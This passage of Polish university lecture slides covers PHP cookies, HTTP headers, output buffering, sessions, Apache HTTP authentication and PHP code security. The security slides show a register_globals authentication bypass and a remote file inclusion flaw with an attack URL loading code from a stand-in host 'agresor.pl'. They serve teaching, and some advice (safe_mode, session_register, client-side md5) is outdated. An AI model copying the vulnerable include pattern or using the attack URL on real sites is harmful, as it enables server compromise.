119 PHP i ciasteczka Kilka uwag... c.d. usunięcie ciasteczka odbywa się przez podanie wstecznej daty ważności – przeglądarka uruchamia wtedy mechanizm usunięcia ciastka każda przeglądarka składuje cookies osobno niekiedy przeglądarki różnie obsługują cookies

120 PHP i ciasteczka Tablicowa obsługa ciasteczek setcookie ("cookie[three]", "cookiethree"); setcookie ("cookie[two]", "cookietwo"); setcookie ("cookie[one]", "cookieone"); if (isset($_COOKIE['cookie'])) { while (list($name, $value)=each($cookie)) { echo "$name == $value<br>\n"; }

121 PHP i ciasteczka Przykłady: setcookie ("ciacho", "smaczne",time()+3600, "/~pawel/", ".ii.uni.wroc.pl", 1); ciacho.php odwiedziny.php

122 PHP i nagłówki HTTP int header(string treść_nagłówka) wysyła nagłówek HTTP przykłady: header("Location: http://www.onet.pl/");http://www.onet.pl/ $download_size = filesize($file_server_path); header("Content-type: application/x-download"); header("Content-Disposition: attachment; filename=$file_download_name;"); header("Accept-Ranges: bytes"); header("Content-Length: $download_size"); @readfile($file_server_path);

123 PHP i nagłówki HTTP array headers_list (void) lista nagłówków do wysłania bool headers_sent (void) sprawdza, czy nagłówki zostały już wysłane

124 PHP – buforowanie bool ob_start ( [callback output_callback]) rozpoczęcie buforowania bool ob_end_clean ( void ) kończy buforowanie i czyści bufor wyjściowy bool ob_end_flush ( void ) kończy buforowanie i wypisuje zawartość void ob_clean ( void ) czyści bufor wyjściowy

125 PHP – buforowanie string ob_get_clean (void) zwraca aktualną zawartość bufora i czyści bufor string ob_get_flush(void) wypisuje zawartość bufora zwraca go jako napis kończy buforowanie int ob_get_length(void) zwraca rozmiar bufora wyjściowego

126 PHP – buforowanie Przykład: bufory.php

127 PHP i sesje - wprowadzenie Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET)

128 PHP i sesje - wprowadzenie Utworzenie sesji Korzystanie z sesji KLIENTSERWER Klient wysyła żądanie zasobu Serwer odsyła identyfikator nowo utworzonej sesji KLIENTSERWER Klient wysyła żądanie zasobu dołączając identyfikator sesji Na serwerze tworzona jest nowa sesja Na serwerze odtwarzane są dane sesji

129 PHP i sesje – zestaw funkcji string session_name ([string nazwa]) pobierz i/lub ustaw nazwę dla sesji wywołujemy przed session_start() używana w identyfikatorze sesji (ciastka lub URL, domyślnie PHPSESSID) jeśli chcemy zmienić nazwę, to musimy ją wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name

130 PHP i sesje – zestaw funkcji string session_id ([string id]) pobierz i/lub ustaw identyfikator sesji jeżeli zmienić identyfikator bieżącej sesji, to musimy wywołać funkcję przed session_start() bool session_start(void) tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL. jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki

131 PHP i sesje – zestaw funkcji void session_write_close(void) zapisuje dane i kończy sesję void session_commit(void) alias do session_write_close() bool session_destroy(void) niszczy sesję, nie usuwa ciasteczka prosty sposób usunięcia ciastka sesyjnego: setcookie(session_name(),"",0,"/")

132 PHP i sesje – przykład licznik.php

133 PHP i sesje – zestaw funkcji string session_save_path([string ścieżka]) pobierz i/lub ustaw ścieżkę zapisu bieżącej sesji w Foxserv domyślnie: C:\FoxServ\sessiondata bool session_regenerate_id(void) tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)

134 PHP i sesje – zestaw funkcji string session_encode(void ) koduje dane sesji do postaci stringu bool session_decode(string dane) odtwarza dane sesji ze stringu najpierw trzeba użyć session_start void session_set_cookie_params( int czas_życia [, string ścieżka [, string domena]]) ustawia parametry ciastka sesji

135 PHP i sesje – zestaw funkcji array session_get_cookie_params(void) zwraca parametry ciasteczka sesji lifetime – czas życia sesji path – ścieżka dla sesji domain – domena ciasteczka secure – ciasteczko może być przesyłane tylko poprzez biezpieczne połączenie

136 PHP i sesje – zmienne (cz. 1) bool session_register(mixed nazwa [, mixed...]) rejestruje zmienną globalną jako zmienną sesji $dilbert = "Fajny komiks"; session_register("dilbert"); bool session_unregister(string nazwa) wyjestruj zmienną z bieżącej sesji

137 PHP i sesje – zmienne (cz. 1) void session_unset(void) zwalnia wszystkie zmienne sesji bool session_is_registered(string nazwa) sprawdza, czy zmienna jest zarejestrowana

138 PHP i sesje – zmienne (cz. 2) Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) ustanowienie zmiennej sesyjnej $_SESSION["zmienna"] = "a to jej wartosc" usunięcie zmiennej sesyjnej unset($_SESSION["zmienna"]) usunięcie wszystkich zmiennych $_SESSION = array() sprawdzenie, czy zmienna istnieje isset($_SESSION["zmienna"])

139 PHP i sesje - przykłady Niszczenie sesji (pierwszy sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); session_unset(); session_destroy(); ?>

140 PHP i sesje - przykłady Niszczenie sesji (drugi sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); $_SESSION = array(); session_destroy(); ?>

141 PHP i sesje Propagowanie identyfikatora w URLu kiedy stosować? stała SID opcja --enable-trans-sid opcja --enable-trans-sid, a wydajność – różnica ok. 10% Zapisywanie danych sesji w bazie danych do czego może się to przydać? (personalizacja) funkcje session_encode() i session_decode()

142 PHP i sesje – opcje session.save_path określa, gdzie będą tworzone pliki z danymi sesji domyślnie: C:\FoxServ\sessiondata session.name określa nazwę sesji, która będzie też nazwą ciastka domyślnie PHPSESSID

143 PHP i sesje – opcje session.auto_start określa, czy sesja ma być uruchamiana automatycznie na początku wywołania domyślnie 0 (wyłączone) session.cookie_lifetime określa w sekundach długość życia ciastka sesyjnego 0 oznacza "dopóki przeglądarka nie została zamknięta" domyślnie 0

144 PHP i sesje – opcje session.use_cookies określa, czy identyfikator sesji będzie po stronie klienta pamiętany za pomocą ciastka domyślnie 1 (włączone) session.use_only_cookies określa, czy do pomiętania id sesji mają być wykorzystywane tylko ciastka domyślnie 0 (ze względu na kompatybilność) zwiększa bezpieczeństwo

145 Kontrola dostępu do danych Terminologia Authentication – identyfikacja Authorization – czy jest dostęp do zasobu Access Control – sterowanie dostępem do zasobu (może zależeć od innych czynników)

146 Autoryzacja HTTP Rodzaje Basic Digest Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem

147 Autoryzacja HTTP w Apache'u Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c apache.exe -l httpd -l Upewniamy się, że pliku httpd.conf jest wpis AllowOverride All Teraz, możemy utworzyć plik.htaccess w każdym katalogu w którym chcemy sterować prawami dostepu

148 Autoryzacja HTTP w Apache'u Przykładowa zawartość pliku.htaccess AuthType Basic AuthUserFile /usr/local/apache/users AuthName "Administration Module" Require valid-user // pawel zenek Order allow,deny Allow from swiatowit.ii.uni.wroc.pl Deny from all Satisfy any // all Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu

149 Autoryzacja HTTP w Apache'u Na końcu tworzymy użytkownika htpasswd -c users pawel htpasswd users john istotne, żeby pliku z użytkownikami nie trzymać w miejscu dostępnym z przeglądarki

150 Autoryzacja HTTP w Apache'u Podsumowanie wystarcza przy mało wymagającej autoryzacji ograniczenia przy zarządzaniu użytkownikami interfejs przeglądarki wylogowanie poprzez wyłączenie przeglądarki konieczność ingerencji w konfigurację serwera

151 Autoryzacja HTTP w PHP Kilka uwag na początek: obsługiwana tylko wtedy, gdy PHP działa jako moduł Apache (jako CGI – nie działa) obecnie obsługiwana jest tylko autoryzacja typu Basic po wysłaniu nagłówków, użytkownik wpisuje dane użytkownika i hasło, które są przekazywane w zmiennych $_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW']

152 Autoryzacja HTTP w PHP Przykład: httpauth.php

153 Autoryzacja – sesje w PHP Etapy dostępu do danych Logowanie pobranie danych użytkownika (login + hasło) weryfikacja odnotowanie faktu weryfikacji w logach rozpoczęcie sesji

154 Autoryzacja – sesje w PHP Etapy dostępu do danych Użycie sesji podtrzymanie sesji ponowna weryfikacja uprawnień Wylogowanie zakończenie sesji odnotowanie faktu w logach usunięcie danych związanych z sesją (ważne)

155 Autoryzacja – sesje w PHP Przykład: login.php i pokaz.php

156 Autoryzacja – sesje w PHP Sprawdzanie hasła: jak w przykładzie na podstawie pliku tekstowego na podstawie bazy danych W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej

157 Autoryzacja – sesje w PHP Zalety przechowywania haseł w pliku dobre dla obsługi kilku użytkowników łatwa obsługa nie wymagają dodatkowego oprogramowania Zalety przechowywania haseł w bazie danych możliwość obsługi bardzo wielu użytkowników szybszy dostęp lepsze zarządzanie zawartością większe bezpieczeństwo

158 Autoryzacja – sesje w PHP Przesyłanie hasła jawny tekst szyfrogram md5 (obliczany po stronie klienta)

159 Bezpieczeństwo kodu PHP Opcja register_globals w php.ini jej włączenie powoduje, że wszystkie dane pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE,...) powinna być wyłączona (Off) i tak jest domyślnie Przykład (login.php): <?php if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>

160 Bezpieczeństwo kodu PHP A teraz uruchamiamy skrypt login.php?auth=true Przykład: (login.php ulepszony) <?php $auth=false; if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>

161 Bezpieczeństwo kodu PHP Raportowanie błędów – error_reporting() podczas pisania skryptów, testowania należy włączyć raportowanie error_reporting(E_ALL) przy wdrażaniu aplikacji należy wszystkie raportowania bezwzględnie powyłączać error_reporting(0)

162 Bezpieczeństwo kodu PHP Weryfikacja danych pochodzących od użytkownika sprawdzić należy wszystkie dane w szczególności pod kątem typ danych zawartość długość akceptujemy te tylko dane, których się spodziewaliśmy nigdy nie polegamy na weryfikacji po stronie klienta

163 Bezpieczeństwo kodu PHP W jaki sposób weryfikować? sprawdzić typy skorzystać z wyrażeń regularnych sprawdzić wielkość sprawdzić zbiór dopuszczalnych wartości...

164 Bezpieczeństwo kodu PHP Przykład: <?php if (isset($_GET["plik"])) include($_GET["plik"]); ?> i agresor robi tak: skrypt.php?plik=http://agresor.pl/zlosliwy.php

165 Bezpieczeństwo kodu PHP Wszystkie pliki PHP powinny być przez serwer parsowane jeżeli dajemy rozszerzenie.inc, to musimy się upewnić, że pliki z tym rozszerzeniem są interpretowane Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()

166 Bezpieczeństwo kodu PHP Upload plików należy upewniać się, że upload pliku faktycznie miał miejsce – służą do tego funkcje is_uploaded_file() move_uploaded_file()

167 Bezpieczeństwo kodu PHP Tryb bezpieczny (safe_mode) jeśli możliwe, należy z tego korzystać, chociaż lepiej dobrze skonfigurować serwer WWW skrypt ma dostęp tylko to tych plików których właścicielem jest właściciel skryptu

168 Bezpieczeństwo kodu PHP Dyrektywy odpowiedzialne za tryb bezpieczny safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH disable_functions =

169 Bezpieczeństwo kodu PHP Ukrywanie rozszerzeń dodajemy w pliku httpd.conf (ewentualnie.htaccess) AddType application/x-httpd-php.htm.html Ukrywanie hasła do bazy danych (plik httpd.conf) php_admin_value open_basedir C:\Foxserv\www\test php_admin_value disable_functions a3js8ge4a2 <?php echo ini_get("disabled_functions"); ?>


Pobierz ppt "Narzędzia internetowe Paweł Rajba"

Podobne prezentacje


Reklamy Google